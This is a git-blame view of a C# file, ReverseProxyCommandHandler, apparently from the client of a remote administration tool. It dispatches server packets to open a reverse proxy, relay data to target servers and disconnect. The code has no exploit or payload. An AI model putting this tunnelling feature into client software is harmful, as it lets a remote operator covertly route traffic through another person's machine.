2015-06-05 21:07:37 +00:00
|
|
|
|
using xClient.Core.Networking;
|
|
|
|
|
using xClient.Core.Packets;
|
2015-05-10 11:11:27 +00:00
|
|
|
|
using xClient.Core.ReverseProxy.Packets;
|
|
|
|
|
|
|
|
|
|
namespace xClient.Core.ReverseProxy
|
|
|
|
|
{
|
|
|
|
|
public class ReverseProxyCommandHandler
|
|
|
|
|
{
|
2015-05-10 17:02:10 +00:00
|
|
|
|
public static void HandleCommand(Client client, IPacket packet)
|
2015-05-10 11:11:27 +00:00
|
|
|
|
{
|
2015-05-10 17:02:10 +00:00
|
|
|
|
var type = packet.GetType();
|
|
|
|
|
|
|
|
|
|
if (type == typeof (ReverseProxyConnect))
|
2015-05-10 11:11:27 +00:00
|
|
|
|
{
|
2015-05-10 17:02:10 +00:00
|
|
|
|
client.ConnectReverseProxy((ReverseProxyConnect) packet);
|
2015-05-10 11:11:27 +00:00
|
|
|
|
}
|
2015-05-10 17:02:10 +00:00
|
|
|
|
else if (type == typeof (ReverseProxyData))
|
2015-05-10 11:11:27 +00:00
|
|
|
|
{
|
2015-05-10 17:02:10 +00:00
|
|
|
|
ReverseProxyData dataCommand = (ReverseProxyData)packet;
|
|
|
|
|
ReverseProxyClient proxyClient = client.GetReverseProxyByConnectionId(dataCommand.ConnectionId);
|
2015-05-10 11:11:27 +00:00
|
|
|
|
|
|
|
|
|
if (proxyClient != null)
|
|
|
|
|
{
|
2015-05-10 17:02:10 +00:00
|
|
|
|
proxyClient.SendToTargetServer(dataCommand.Data);
|
2015-05-10 11:11:27 +00:00
|
|
|
|
}
|
|
|
|
|
}
|
2015-05-10 17:02:10 +00:00
|
|
|
|
else if (type == typeof (ReverseProxyDisconnect))
|
2015-05-10 11:11:27 +00:00
|
|
|
|
{
|
2015-05-10 17:02:10 +00:00
|
|
|
|
ReverseProxyDisconnect disconnectCommand = (ReverseProxyDisconnect)packet;
|
|
|
|
|
ReverseProxyClient socksClient = client.GetReverseProxyByConnectionId(disconnectCommand.ConnectionId);
|
2015-05-10 11:11:27 +00:00
|
|
|
|
|
2015-05-10 17:02:10 +00:00
|
|
|
|
if (socksClient != null)
|
2015-05-10 11:11:27 +00:00
|
|
|
|
{
|
2015-05-10 17:02:10 +00:00
|
|
|
|
socksClient.Disconnect();
|
2015-05-10 11:11:27 +00:00
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
}
|